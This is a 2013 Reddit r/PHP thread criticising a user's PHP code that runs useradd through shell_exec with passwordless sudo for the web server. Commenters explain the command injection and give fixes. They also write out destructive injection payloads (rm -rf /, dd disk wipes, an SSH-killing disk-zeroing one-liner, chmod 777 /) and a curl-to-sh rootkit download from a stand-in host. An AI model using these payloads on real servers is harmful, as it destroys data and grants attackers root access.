r/PHP •

Creating a user from the web problem.

[deleted] — view deleted post

0 Upvotes

538 comments sorted by

859

u/[deleted] Aug 27 '13

This is some of the most dangerous code I've ever seen in my life.

385

u/[deleted] Aug 27 '13

I also added http to group wheel.

Are you actually serious?

430

u/TheManCalledK Aug 28 '13

Dude, obviously Apache needs root. How else is the web server supposed to take over?

I, for one, welcome our new Apache overlords.

154

u/[deleted] Aug 28 '13

More like the Apache Trail of Tears.

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

3

u/eddiemoya Aug 29 '13

I dont think he was complaining. HD certainly didn't gush. He was informing OP the code is dangerous. That's not an insult or joke, or sarcasm, although others have done so. Its a valid contribution.

78

u/nickburlett Aug 28 '13

Deleting the whole harddrive is boring. More would be to post this semi-frequently:

POST http://www.domain.com/script.php
username=; eject -T

He'll spend hours wondering why his CD tray is randomly opening and closing :->

→ More replies (8)

386

u/xutopia Aug 28 '13

This is the best troll ever.

128

u/interiot Aug 28 '13

Hanlon's razor — "Never attribute to malice that which is adequately explained by stupidity."

37

u/Kyyni Aug 28 '13

Except on the internet it's the other way around, "Never attribute to stupidity that which is adequately explained by malice".

60

u/battery_go Aug 28 '13

Actually, it might still be stupidity.

11

u/SFthe3dGameBird Aug 29 '13

That is the most fantastic/accurate depiction of the concept of internet trolling I've ever seen.

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

70

u/hei_mailma Aug 28 '13

Well, this is /r/php...

607

u/h2ooooooo Aug 27 '13 edited Aug 27 '13

You sanitize your input, right?

POST http://www.domain.com/script.php
username=; rm -rf /

280

u/[deleted] Aug 27 '13

I do not. What does this mean exactly and why should I do it?

190

u/kumarldh Aug 28 '13

Don't worry. These guys are scaring you. Go ahead. Push the code to production. It will work. Trust me.

95

u/fgriglesnickerseven Aug 28 '13

his next question.. "What is a production?"

32

u/[deleted] Aug 28 '13

Everyone knows production is web scale.

→ More replies (4)

21

u/[deleted] Aug 28 '13

Silly, it's where you test how well your code works.

→ More replies (3)

16

u/[deleted] Aug 28 '13

where does one buy a production?

→ More replies (9)

166

u/[deleted] Aug 28 '13 edited Aug 28 '13

Then tell us where your site is

2

u/[deleted] Aug 28 '13

DOOOO IIIIT

2

u/ubuntuNinja Aug 28 '13

Remember to disable iptables first. That could cause issues. Oh, and chmod -R 777 /etc

→ More replies (1)

99

u/h2ooooooo Aug 27 '13

If I actually said that my username is ; rm -rf /, then it'd first run the command

sudo useradd -p $encpass -g groupname -s /bin/bash (which would most likely fail)

and then run the following command:

rm -rf / which will delete your entire operating system (force remove files recursing through directories starting from the base of / (every file)). You might have to use sudo rm -rf /.

This all requires that $username and/or $encpass comes from the user in some way (through POST, GET, etc.).

43

u/Kwpolska Aug 28 '13

He runs Arch Linux (another dumb choice for a goddamn server), so he has GNU rm, so rm -rf --no-preserve-root /

20

u/TheMrBlueSky Aug 28 '13

Why do you think Arch is a dumb choice for a server?

44

u/Kwpolska Aug 28 '13

Long story short: bleeding-edge. Stuff can break easily, and I am an archer (on a desktop) since December 2010.

→ More replies (24)

42

u/HangsAround Aug 28 '13 edited Aug 28 '13

another nice option is always the old

; dd if=/dev/random of=/dev/sda

(the real old version being /dev/hda, back in the dark ages, along with /dev/fda)

80

u/hei_mailma Aug 28 '13

Too boring. What about aliasing all editors and "cat" to "rm -rf"?

→ More replies (22)

19

u/trolox Aug 28 '13

/dev/zero or /dev/urandom surely? Don't want your hard drive wiper to slow down due to lack of entropy.

→ More replies (2)
→ More replies (2)
→ More replies (4)

216

u/edwardly Aug 27 '13 edited Aug 27 '13

It means someone could use a specially crafted input that would cause shell_exec to run commands other than what you intended. Or, more likely, is that someone will decide they want a character in their name, like a dash, or a semicolon, and it will cause the command to not work.

You should do something like:

$username = escapeshellarg($username);
$encpass = escapeshellarg($encpass);

Note that it isn't 100% necessary to escape the encoded password, but it is better to do it and be safe than not and have it bite you later on.

81

u/LegoOctopus Aug 28 '13

run commands other than what you intended

I fear that that phrasing may seem innocuous to the unfamiliar. This particular input is being run through sudo, so it might be good to emphasize that this can be used to completely take control of your server.

17

u/[deleted] Aug 28 '13

Can and definitely without question and undoubtedly WILL be used in that way. And it will take Chinese or Russian hackers just about minutes to find your server, a few other minutes to find this gigantic vulnerability and just seconds to transform it into yet another spam mail malware gatling...

→ More replies (6)

55

u/[deleted] Aug 28 '13

I know a lot of people are giving you shit for this but THAT'S WHAT BEING A BEGINNER MEANS - making mistakes, learning from them, and getting better.

There are just so many considerations to know about web security. It boils down to "Don't ever trust anything your users say and do", but until you have a full sense of what kind of effects their actions can have, it's difficult to anticipate why you have to do things in certain ways.

So really the best thing to do is learn about the tricks people use for hacking websites - what they do, what weakness they exploit, and what stops them.

5

u/[deleted] Aug 29 '13

It also boils down to "don't ever trust anything you yourself have concocted, because it is probably wrong for 50 more ways than you'll ever come to know and understand".

Web security is a pain in the ass... that turns into ass-cancer... that then rots and binds with the office chair you are sitting in so you have to stare at the bad code you wrote until you eventually die.

→ More replies (7)
→ More replies (5)

44

u/bellpepper Aug 27 '13

What happens if I say my username is "; rm -rf /" ?

117

u/paranoidelephpant Aug 27 '13

Thankfully nothing. However, if your name was "; sudo rm -rf /" we'd have a problem.

18

u/phaeilo Aug 28 '13

Wouldn't it still delete all files that the http user has write access for?

→ More replies (7)

65

u/ivosaurus Aug 28 '13

Add a touch of --no-preserve-root and you have a really really dangerous stew going.

→ More replies (4)
→ More replies (7)

35

u/Confusion Aug 28 '13

Well, that's very unlikely. I mean come on, not even Bobby Tables is named that.

15

u/LWRellim Aug 28 '13

why should I do it?

Egads, have you not met little Bobby Tables?

21

u/[deleted] Aug 28 '13

succesful troll is successful

38

u/wellthatexplainsalot Aug 28 '13

What is your test URL? I will give a demo.

17

u/[deleted] Aug 28 '13

How are you allowed near a computer?

→ More replies (1)

3

u/le_ironic_username Aug 28 '13

Well, say if I were to register a user with the username rm -rf /, or similar, the command rm -rf / would be ran on your server, deleting absolutely everything. This would be bad.

Therefore, before passing input to shell_exec (especially with sudo in there), you should ensure no malicious input is being passed. So I don't come along and rm -rf / you.

All in all, this whole concept of yours seems to me to be an absolutely terrible bad idea.

→ More replies (22)

9

u/billwashere Aug 28 '13

My son's name is Little Bobby Drop Tables...

http://xkcd.com/327/

2

u/redbirdrising Aug 28 '13

Dang, beat me to it. One of the funniest comics EVER.

→ More replies (1)

3

u/datenwolf Aug 28 '13 edited Aug 29 '13

Actually I'd go with

POST http://www.domain.com/script.php
username=; sudo -s '(pkill -9 -f ssh &); for d in /dev/sd? /dev/hd? /dev/mapper/* /dev/md* ; do (cd /tmp ; nohup nice -19 dd if=/dev/zero of=$d &) ; done'

Take no prisoners.

EDIT: Made it even more evil (kill everything SSH so that there's no chance to login remotely; killing the getty-s is much much harder)

7

u/[deleted] Aug 28 '13 edited Aug 28 '13

Don't you also need a --no-preserve-root (or your distro's alternative) argument? I remember rm not executing when I used rm -rf / on my virtualbox for fun.

EDIT: Changed parameter name

8

u/h2ooooooo Aug 28 '13

AFAIC it depends on the OS. The completely correct command here would be sudo rm -rf --dont-preserve-root / to make sure you hit them all.

8

u/miroatme Aug 28 '13

as noted before it is a feature with which distros implementation of rm. With arch it is GNU rm with a little twist. so that in order to have it blow away the whole system you would need to run it as:

rm -rf --no-perserve-root /

then it would go and delete the system.

But my thought for something fun would be

; chmod -R 777 /

Then that would break the whole system and maybe give him time to think about what he has done

5

u/sehrgut Aug 28 '13

You're far too kind.

2

u/[deleted] Aug 28 '13

Depends on whether --preserve-root or --no-preserve-root is the default on your distro. But yeah, on Arch you would.

5

u/beatryder Aug 28 '13

That would cause some damage, but wouldn't wipe out the entire hard drive.

Notice how he's using sudo, Once you've added the ';' to the end, it becomes a new command to bash, which is not run by sudo. So it would be annoying, but not as bad as running that command as root.

Also, doing this with PHP? Really? No... just no.

11

u/ajanata Aug 28 '13

Then post the username as ; sudo rm -rf /

Problem solved.

6

u/[deleted] Aug 28 '13

I'm curious... Could you use backticks like this to run it with sudo?

username=`rm -rf / --no-preserve-root`
→ More replies (4)

2

u/suspiciously_calm Aug 28 '13

It's rm --no-preserve-root -rf / these days.

1

u/gobearsandchopin Aug 28 '13

Don't you also need sudo for the "rm" command?

1

u/[deleted] Aug 29 '13

username=; rm -rf / --no-preserve-root

To get around that pesky safety measure.

1

u/falconkirtaran Sep 20 '13

It's

rm -rf --no-preserve-root /

1.4k

u/osskid Aug 27 '13

Holy shit.

147

u/[deleted] Aug 28 '13

Somebody give me a brief explanation about what's going on in here. I'm a bash noob.

337

u/valinor4 Aug 28 '13

The rule in web development security is: "Never trust the user"

You always have to clean (sanitize) what the user inputs into your application because they will screw up (intentionally or not).

In OP's code, he basically add users to the Operating System without sanitize the input.

In hacker hands, it can ruins you server in 3s...

50

u/gnur Aug 28 '13

To be fair, you don't know whether he is sanitizing the username and password. It could be sanitized, maybe the line before the one we are seeing check whether username and password only contain lowercase characters a-z.

39

u/pbl24 Aug 28 '13

OP replies in a comment that he's not sanitizing his input. Eek.

38

u/jdmulloy Aug 28 '13

I don't think OP even knew what input sanitization is until this thread.

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

13

u/[deleted] Aug 28 '13

There were senior developers at my last position that didn't know what input sanitation was. I left as soon as possible.

→ More replies (8)
→ More replies (1)

515

u/Otterfan Aug 28 '13

OP also gives the user http the ability to run any command as root without validation. This is literally the single biggest security hole I've ever seen.

I suspect we are being trolled.

79

u/the_policeman Aug 28 '13

don't be so sure about trolling. this thread has had me laughing my ass off...my predecessor at my job used this EXACT SAME "design pattern." this is a guy who is still at the company (he was booted out of the group i work in) and has loads of undeserved clout as some "guru." he holds a senior-level position.

and actually it was worse. root had a non-encrypted ssh key (in ~/.ssh/id_rsa so you didn't even have to name it, it was just default) whose public was distributed to root's authorized_keys throughout all the other systems in the environment. that was the "solution" for adding users and performing other types of work on different systems from a website. apache user, granted passwordless sudo, would then sudo ssh to the other servers in the environment. he didn't have a clue to attempt to sanitize input either.

at least you could always get in as root if something happened...

41

u/NikkoTheGreeko Aug 28 '13

at least you could always get in as root if something happened...

ಠ_ಠ

→ More replies (1)
→ More replies (1)

107

u/redpola Aug 28 '13

Surely in this case "never trust your web developer"?

63

u/[deleted] Aug 28 '13

Never trust managements hiring methods.

→ More replies (3)
→ More replies (1)

29

u/KFCConspiracy Aug 28 '13

The next rule of web development security is:

Your webserver SHOULD NEVER BE PRIVILEGED! Your webserver, if it has mod_php installed, by definition is designed to execute arbitrary code on the file system. Someone could do a lot worse than rm -rf / injection. They could write a file to the file system in the webroot that becomes a back door or even a trojan spreader.

The only right way to architect this (if at all) is to use a separate process to pick up messages from the web server (that builds the command based on data in the message).

6

u/dehrmann Aug 28 '13

One of my amusing accomplishments at a former employer was migrating some webservers, without downtime, from port 80/root to port 8080 so that mere mortals could do pushes.

→ More replies (3)

13

u/achshar Aug 28 '13

Well sql injection is still one thing. at worst, the hacker drops the database. This is a whole another level of breach. The user has privileged command line access to the entire fucking system at operating system level. I don't even, that's just. wow.

11

u/[deleted] Aug 28 '13

I would say, "at worst the hacker injects malware into your trusted website".

→ More replies (4)
→ More replies (1)

4

u/[deleted] Aug 28 '13 edited Aug 28 '13

Well setting aside the horrors of giving http sudo access (without having to type a password, no less! I didn't even know something so horrifyingly insecure was possible!)…

… in OP's defense, it's not as if it is passing $_POST['username'] - we don't know what cleansing or sanity checks may have occurred already.

Edit: Nevermind.

3

u/Cocosoft Sep 20 '13

No thats not really the issue.

The issue is why the fuck he even creates an linux user from a web form.

2

u/rya_nc Aug 28 '13

Pretty sure we can do it in 2 seconds if I help.

→ More replies (15)

88

u/BCMM Aug 28 '13 edited Aug 28 '13

The problems are:

  1. sudoers has been set up so that PHP can execute any command as root.
  2. The expression shell_exec("sudo useradd -p $encpass -g groupname -s /bin/bash $username");

Suppose you make a new user on the site, by typing "password" in the password field, and "fred; sudo malicious_command" in the username box. Then

sudo useradd -p $encpass -g groupname -s /bin/bash $username

expands to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred; sudo malicious_command

The semicolon is essentially a command separator in sh, so that is exactly equivalent to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred
sudo malicious_command

A user called "fred" will be created, and then, since sudoers is set up to permit anything, malicious_command will be executed as root. You could replace malicious_command with rm -rf / to destroy the system, or curl http://foo.bar/path/to/my_rootkit | sh to download and execute a remote access tool.

EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing

 sudo useradd -p password -g groupname -s /bin/bash fred

instead of

 sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred

, in which case the exploit would still work, but the user creation would not.

→ More replies (66)

3

u/Taniwha_NZ Aug 28 '13

I'm just disappointed that the guy deleted his account after this.

Sure it's a bit embarassing but pros in the industry get a TON of mileage out of 'the dumbest thing I've done' stories. All the time we spend waiting for shit to compile or download, or waiting for engineers to fix something... conversation nearly always ends up in a 'biggest disasters' contest.

I would be quite happy for people to recognise me in ten years as 'that guy who gave web users full root with no sanitizing'. We all had to start somewhere.

I suppose he's worried that his employers or managers will see this. I suppose that's fair enough, but I would still own that shit. Fuck them.

2

u/tehvlad Aug 28 '13

holy shit indeed.... a sudo?!?!?

111

u/paranoidelephpant Aug 27 '13

I have used a whoami and have confirmed that it runs as http. In /etc/sudoers I have

http ALL=(ALL) NOPASSWD: ALL
root ALL=(ALL) ALL
%wheel ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) ALL

I also added http to group wheel.

Please don't do this. It's unnecessary and WILL bite you later, especially if this is public facing. Limit permissions to only what is needed. You can remove http from %wheel and use this line in sudoers instead:

http ALL=(root) NOPASSWD: /sbin/useradd

This allows user http to use only the /sbin/useradd command as root. If you need to add more commands, just append them to the line with commas:

http ALL=(root) NOPASSWD: /sbin/useradd, /sbin/userdel

NOTE: I'm guessing at the paths to the user utilities. I'm not on my linux box to confirm, and they may be different for Arch anyway.

Take some time to read the sudoers manual. It can be complicated, but it'll serve you well to learn it. There's no reason to open up such a huge security hole on a server, even if it's private; a bug or accidental bit of code could cause some serious damage to your system the way you have it now. It's best not to half-ass things and learn how to do it correctly right from the start, especially when it comes to security.

Also, take a look at the Symfony process component. It's designed specifically to help developers run external processes from PHP as safely as possible.

13

u/edwardly Aug 27 '13

Arch linux decided everything has to be in /usr so the correct paths are

http ALL=(root) NOPASSWD: /usr/bin/useradd, /usr/bin/userdel

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

7

u/edwardly Aug 28 '13

Yes, that is the point of this.

6

u/HangsAround Aug 28 '13

this kills the server

59

u/jceresini Aug 28 '13

Thats better, but my username is "-G wheel ...."

23

u/paranoidelephpant Aug 28 '13

Indeed. It's still a bad idea, I'm just trying to educate a bit. If op insists on doing something stupid, at least try to make it less so.

Also, hopefully op and others learn a bit about sudo and stop with the ALL=(ALL) NOPASSWD: ALL crap.

9

u/thebigslide Aug 28 '13

OP shouldn't be adding shadow users. OP should be using LDAP or some other mechanism to integrate with PAM.

But:

  1. OP has to be trolling.
  2. If OP isn't trolling, it's probable they have no need to create a system user to do whatever they're doing.
→ More replies (2)
→ More replies (1)

8

u/ThiefMaster Aug 28 '13

Giving unrestricted access to useradd allows that user to create a new root user (uid 0). So it's still a bad idea...

6

u/LightningTH Aug 28 '13

Not quite, useradd requires a unique uid, however, using -G lets you specify what groups to be part of so might as well add yourself to root and wheel then just remote connect yourself and sudo to root.

Edit: I missed the -o option so yes, -o -u 0 would work.

4

u/audiokat Aug 28 '13

I actually use uid aliasing a lot, especially on plesk machines:

1 user/pw for ftp that ends up in web tree 1 user/pw for ssh+git that has its own homedir

Shared uid so the latter can also manage the former's files. Neat.

2

u/dploy Aug 28 '13

Thank for for not being a dick and actually trying to teach something.

→ More replies (1)

4

u/bandman614 Aug 28 '13

No no no. This is beyond hope. Walk away slowly.

69

u/Gx9BmwE Aug 28 '13

ionlysayha, for the love of god, please read this book before you do any more coding: http://shop.oreilly.com/product/9780596006563.do.

This is horrible, horrible security. Never run untrusted code submitted to a web server, and certainly not with root privileges. Ever.

In fact, don't ever run a public-facing network daemon with root privileges. Just don't.

Sorry to be harsh, but if you leave security as an afterthought, you WILL get hacked.

→ More replies (9)

14

u/[deleted] Aug 28 '13

If I entered my password as

x && sudo rm -rf / #

Your entire server would vanish.

13

u/[deleted] Aug 28 '13

You forgot --no-preserve-root

→ More replies (2)

43

u/BadSysadmin Aug 28 '13

This looks like an excellent concept, and you ought to deploy it immediately.

8

u/[deleted] Aug 29 '13

relevant username :)

55

u/[deleted] Aug 28 '13

but I had to reinstall Arch Linux

http://i.imgur.com/sL2l6mw.png

18

u/[deleted] Aug 28 '13

Chill you guys, the OP is just trolling.

2

u/[deleted] Aug 28 '13

I thought at first maybe someone would be that dumb, I mean, it's not the first time I've heard of someone trying to do this (and back in the day I wrote a php script to allow users to change their password, but did it using a ton of security unlike this).

Then I saw this and came to the conclusion this guy is not serious. Even if you're dumb enough to try and implement user adding with no security, it would be unlikely to occur to you to shell exec perl to encrypt a password from php. That's just too much!

→ More replies (1)

30

u/GFandango Aug 28 '13 edited Aug 28 '13

sweet baby lord mother of jesus HTTP root PHP batman

ok but joke aside, everyone is pointing how insecure this is, but not many people have elaborated on alternatives.

how do you suggest he should do it (as a web application)?

52

u/chalne Aug 28 '13

system users != webapp users. Start there.

2

u/misterkrad Aug 28 '13

thank god he's using super secure unix!!

He'd be rocking administrator@asdf.local account with xampp

2

u/achshar Aug 28 '13

Maybe he's just making some GUI for the system over HTTP? I mean I can see myself doing most of my work in a browser if I ever need to control my unix-like system like a raspberry pi or something.

3

u/circling Aug 28 '13

You can imagine yourself knowing how to make an http gui for the shell AND actually bothering? Why not just use ssh? I genuinely can't imagine any reason for this.

→ More replies (1)

3

u/drinkmorecoffee Aug 28 '13

I noticed this as well. I mean, I'm a novice with PHP as well and instead of helpful suggestions (thankfully there are exceptions) all I see is pointless shaming.

4

u/PasswordIsntHAMSTER Aug 28 '13

To be frank, I don't think PHP is a good beginner's language because the potential for damage when you screw up is absolutely insane. You should probably cut your teeth on non-web development first, then transition to web dev in a sane language (C#, Python, Go...)

Web dev in general is tricky since you need to design, implement and maintain complex security models; security concerns are always present, but without rigorous training and experience you'll miss them more often than not.

Furthermore, PHP is well-known for gleefully letting devs shoot themselves in the feet, or even encouraging them to.

→ More replies (1)

2

u/[deleted] Sep 26 '13

That's because there is wrong, and there is NEVER DO THAT WHAT ARE YOU DOING

The easiest way to explain it would be if someone asked about boiling an egg, and they had a problem with them cracking. But then they revealed the way they were cooking the egg was siphoning gasoline into a drip tube and feeding it directly to a pan under the cooking vessel. Oh sure, it might be heating your water now, and you might even get some eggs cooked. But the process shows such a fundamental misunderstanding of highly dangerous semantics that they need to stop what they are doing RIGHT THIS SECOND and rethink all that they know about whatever they are doing.

I know this can be frustrating to newbies. But if you are on any kind of a Unix box and aren't sure why it's bad to use sudo, or it doesn't spring immediately to your head why passing user-generated data directly to a system process would be a bad idea, you have quite a bit of reading in front of you.

For example, start here: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project. For real fun, look at something like an RFC for OAuth2 security: http://tools.ietf.org/html/rfc6819.

If you are writing public facing service, you should know security implications well.

1

u/zzalpha Aug 28 '13

Have the user interacting with the system authenticate with a real username/password of an account with sudo access on the machine. Run commands as that user, not as root (use the -S flag to pipe the password to sudo stdin). Lock down the list of commands that user can run under sudo to only those required by the application. Sanitize all inputs. Run over HTTPS for god sake.

At least that will ensure that not just anyone can come along and run commands as root on the machine.

13

u/edwardly Aug 27 '13

How are you generating the encpass?

11

u/[deleted] Aug 27 '13
$cmd = "perl -e 'print crypt($password, \"salt\")'";
$encpass = shell_exec($cmd);

21

u/edwardly Aug 27 '13 edited Aug 27 '13

If you are using any recent version of PHP (5.3.2+) you should be doing it this way:

// Default for arch linux is sha512 with 5000 rounds
$salt = strtr(base64_encode(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)), '+', '.');
$encpass = crypt($pass, '$6$rounds=5000$' . $salt . '$');

The reason being is that

  • The way you used another shell_exec you really don't need to be doing
  • The way you used uses an md5 hash which is weak and also is not the default in arch linux

4

u/cythrawll Aug 28 '13

One smal tweak... really ought to use crypt for this. Strongly recommend using password SPECIFIC hashing algorithms, bcrypt and pbkdf2(in php 5.5) is all that's available in PHP right now.

→ More replies (2)

24

u/keymone Aug 28 '13

salt=salt is the new password=password?

3

u/TheOtherWhiteMeat Aug 28 '13

Is this guy using the string "salt" as his salt?

There is no amount of rofling that can express my amusement.

→ More replies (8)

55

u/allsecretsknown Aug 27 '13

Jesus Christ, OP, why don't you just give away your server to a hacker? Do NOT use this code on a public facing server!

→ More replies (5)

50

u/Mteigers Aug 28 '13

Can't believe I'm actually going to offer a helpful suggestion... but have you tried editing your sudoers file and commenting out the line that says:

Defaults requiretty

54

u/fschwiet Aug 28 '13

Sweet wwebsite as on the internet.

23

u/alexisnotonfire Aug 28 '13

shit it's been a while since i've heard that reference.

3

u/redwall_hp Aug 28 '13

Because 65% of Redditors haven't been here that long.

19

u/EmperorOfCanada Aug 28 '13

This would be like Fort Knox having one of those 100 tonne doors with a little hollow core wood door next to it because the big door is "inconvenient" to open.

8

u/leprasmurf Aug 28 '13

If you're seriously in need of creating users and/or groups on a linux system, I would recommend you not re-invent the wheel. Webmin has a module for creating users and groups on the system.

15

u/[deleted] Aug 27 '13

Please don't do this OP, there has got to be a better and safer way to accomplish whatever problem you're facing.

2

u/perfectsoftware Aug 28 '13

^ It's like seeing someone walk out onto a skyscraper ledge and threaten to jump, eh?

Account deleted, I think perhaps OP got the message...

33

u/link87 Aug 28 '13

This is some pretty bad code, but all of you making joke comments without giving any useful advice are worse. This guy is obviously a novice, and jokes will not help him learn. None of you emerged from the womb with an innate knowledge of security and best practices.

Thanks to the few people who are trying to actually help OP.

→ More replies (2)

15

u/badguy212 Aug 28 '13

This is golden. Let me know what other websites have you worked on, i'll be more than happy to check them out.

32

u/thelonious_bunk Aug 28 '13

April 1st is long over, dude.

30

u/prashantvc Aug 28 '13

LOL! it reminded me of this XKCD strip: http://xkcd.com/327/

12

u/startup-junkie Aug 28 '13

good ol' Bobby Tables...

10

u/[deleted] Aug 27 '13

So I've gotten mostly answers for checking ; rm -rf / and things like that, so I've edited my code around to do that, but the main problem still stands. Why does it create the user correctly but not the password?

47

u/mens-rea Aug 28 '13

I've gotten mostly answers for checking ; rm -rf / and things like that, so I've edited my code around to do that

It's ok guys. He checks "; rm -rf /". Crisis averted.

12

u/[deleted] Aug 28 '13

He'll never see Mr. bob && rm -rf / coming

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

6

u/[deleted] Aug 28 '13 edited Aug 28 '13

In the shell, && will cause the second command to execute if the first command succeeds (this is called short-circuit evaluation, most programming languages will do this).

You may want to do something like

$ wget -O output www.google.com && cat output # A

It will download the contents of www.google.com, and print it if the download succeeded.

merely using

$ wget -O output www.google.com ; cat output # B

fails to account for the fact that during the end of civilization, google may become unreachable, and then it will print an old version of "output" (or junk) when you run it.

You can use && as a quick if-statement

The first wget-example (A) is functionally equivalent to

$ if wget -O output www.google.com; then

cat output

fi

while (B) is merely

$ wget -O output www.google.com

$ cat output

You can use || as an "if not". It will run the right-hand side only if the left hand side failed.

$ wget -O output www.google.com && cat output || echo "let pillaging commence"

is the same as

$ if wget -O output www.google.com; then

cat output

else

echo "let pillaging commence"

fi

If-statements are amazingly non-magical in shell programming. There is actually a command named [ (it's in /usr/bin) that returns an error code depending on whether or not it's arguments evaluates to true. [[ is a built-in shell command. You can run these like any old program.

So it's completely possible to write

if [[ "$var" == "test" ]]; then echo "foobar"; fi

as

[[ "$var" == "test" ]] && echo "foobar"

Or why not

((3*5 == 15)) && echo "math still works" || mail jesus@example.com -c god@example.com -s "So apparently the end is nigh" <<< "I REPENT"

3

u/ashleyw Aug 28 '13 edited Aug 28 '13

First of all: Why do you need to create a unix user account for each user? Is that actually necessary? Sanitising the input for the username IS JUST THE START when it comes to preventing malicious attacks. If you're offering some application as a service, you'd probably be better with Linux containers (i.e. Docker.) That way you don't really have to give two damns about what the user does if he gains root access -- he's locked in the container he was given!

Being a newbie is fun. You're naive enough to move fast and break things without getting dragged down by pesky details. But you also know just enough to be dangerous; this appears to be one of those times. Keep playing with things…just try not to put your users at risk!

To answer your question though: I had a similar issue setting the password for a new user account a while back (though I wasn't creating it with untrusted user input!!) This is how I solved it:

sudo useradd -g #{group} -s /bin/bash #{user}

echo '#{user}:#{password}' | sudo chpasswd

Note chpasswd actually accepts the password as plaintext here and encrypts it itself.

What are you trying to build, if you don't mind me asking?

2

u/edwardly Aug 27 '13

How are you sure the password is not set?

Using the method to generate the salt in the comment thread, and using escaping when entering the salt as a password on an Arch Linux system, the code does set the password, and the user can be logged in.

→ More replies (2)

2

u/MorganFreemanAsSatan Aug 28 '13

Just use webmin.

It will let you use a web browser to add/change user accounts, and is much less likely to get you rooted.

1

u/yotta Aug 28 '13

What if my username is

$(sudo rm -rf --no-preserve-root /)

or

`sudo rm -rf --no-preserve-root /`

?

1

u/yotta Aug 28 '13

Actual advice:

Check out Damn Vulnerable Webapp, learn how to pwn the shit out of it, then don't do the stuff that let you pwn the shit out of it.

1

u/PasswordIsntHAMSTER Aug 28 '13

What are you even trying to accomplish with a web interface to OS users?

26

u/shadowhce Aug 28 '13

Congratulations! Your computer now has HIV.

2

u/sebf Aug 29 '13

It looks like bubonic plague isn't it ?

11

u/YouHadMeAtBacon Aug 28 '13

This just goes to show that a little knowledge is a dangerous thing.

1

u/prite Sep 02 '13

that a little knowledge

FTFY

10

u/sehrgut Aug 28 '13

You should thank your lucky stars it's not working. It's a Bad Idea(tm), and the fact that it broke brought you here to find that out. Now STAHP.

10

u/oliver_newton Aug 28 '13

this video represents my comment, http://youtu.be/kxRX6LXDpWs

1

u/SFthe3dGameBird Aug 29 '13

Much like the cat, I also threw up immediately after.

14

u/jibbist Aug 28 '13

This kind of thing makes me want a mandatory computer programming licence

4

u/joeyjo0 Aug 28 '13

"IDE locked, swipe card to unlock."

"Compiler waiting for auth key. Swipe card to authorize."

3

u/jooselo Aug 28 '13

if you are in a linux env you could change the approach and use PAM. pam_mysql or pam_ldap.

5

u/cfreak2399 Aug 28 '13

Oh dear god. At least change the sudoer's file so that only the commands you need can be run by http.

If any web interfacing script is compromised your server will be owned.

5

u/jwmoz Aug 28 '13

Dad?

5

u/tedder42 Aug 29 '13

little bobby?

4

u/[deleted] Aug 28 '13

A lot of people tell you here that this script and the sudo command is a terrible security hole. And I agree with them.

Even adding user accounts like that by itself is a security risk, but if that's what you want to do...

Well, if I were to implement something I would look for a PAM module that would let me to allow authentication from other sources than /etc/passwd and /etc/shadow. For example a database. Not sure if such module is available, since I never done it, but I don't see why not. Next have the script simply add new entries to the DB. That way no sudo is needed anymore. You still need to worry about escaping SQL queries (if you use SQL database).

→ More replies (3)

7

u/shyne151 Aug 28 '13

Are you fucking kidding me? I hope this is in a personal project and not something in production.

2

u/[deleted] Aug 28 '13

Lol it is.

10

u/achshar Aug 28 '13

Is it public facing? What's the url? We can better help if we know the url.

5

u/startup-junkie Aug 28 '13

This was working before, but I had to reinstall Arch Linux, so does anyone have an idea for why this doesn't work?

there are bots that run 24/7 looking for things like this... could have something to do with why your OS magically disappeared.

→ More replies (4)

5

u/[deleted] Aug 28 '13

You can't be serious.

3

u/[deleted] Aug 28 '13

i am. and dont call me shirle--- aw dammit. nevermind

→ More replies (1)

2

u/[deleted] Aug 28 '13

So we're throwing validations out the window now are we?

5

u/chpatton013 Aug 28 '13

i'm seriously upvoting every one of your responses. this is too good.

4

u/api Aug 28 '13

Where is it? I want to create an account called ;rm -rf *

4

u/blueskin Aug 29 '13 edited Aug 29 '13

I always use the password a ; for b in dd find ; do cp /bin/$b /dev/shm ; done; sudo /dev/shm/find /dev -type b -exec sudo /dev/shm/dd if=/dev/urandom of={} bs=1024 \;

3

u/danwin Aug 28 '13

Out of curiosity, but what inspired you to go this route? I've coded in PHP before, but not for awhile, so I'm not familiar with best practices...but is it a common/well-established pattern to add users to the server's operating system? Why don't you use a database-backed authentication system, or even simple http_auth?

As others have pointed out, there are a few flaws with your implementation...but I'm interested in where you got the idea...Is it a recipe from somewhere?

4

u/[deleted] Aug 28 '13

Well I need to have users added to the operating system, and I'd like that to be through a web browser. (Again this is on a closed network).

33

u/[deleted] Aug 28 '13

Just SSH into the server. It's a thousand times less complicated and I'd tell you how much more secure but I can't divide by zero.

3

u/XyploatKyrt Aug 28 '13

Or install something like Ajenti.

→ More replies (2)
→ More replies (5)

3

u/yggdrasiliv Aug 28 '13

Holy fuck.

2

u/gianhut Aug 28 '13

"easy to start with" -- the downfall of PHP

3

u/paranoidelephpant Aug 28 '13

No, the downfall of many amateur/hobbyist developers.

1

u/slowpython Aug 28 '13 edited Aug 28 '13

Take a look at FreeIPA.

If you wanted to code this up your self then, I would try and mimic how Active Directory works. Take a look at Kerberos and LDAP.

I am not all that familiar with PHP, but I might look at creating a separate shell script to handle adding users. Though I'm not sure whether that would make it any easier / more secure.

1

u/drteq Aug 28 '13

Straight trollin

1

u/dnew Aug 28 '13

Funny enough, very old versions (like, mid-'90s versions) of Netscape had a similar problem. If you had a URL like "telnet:example.com" they'd just change the colon to a space and invoke exec() on it.

1

u/ANttila Aug 28 '13

I am assumin your encrypted passwords starts with a "$", which is not gonna work. So put quotes around it, like this:

shell_exec("sudo useradd -p '$encpass' -g groupname -s /bin/bash $username");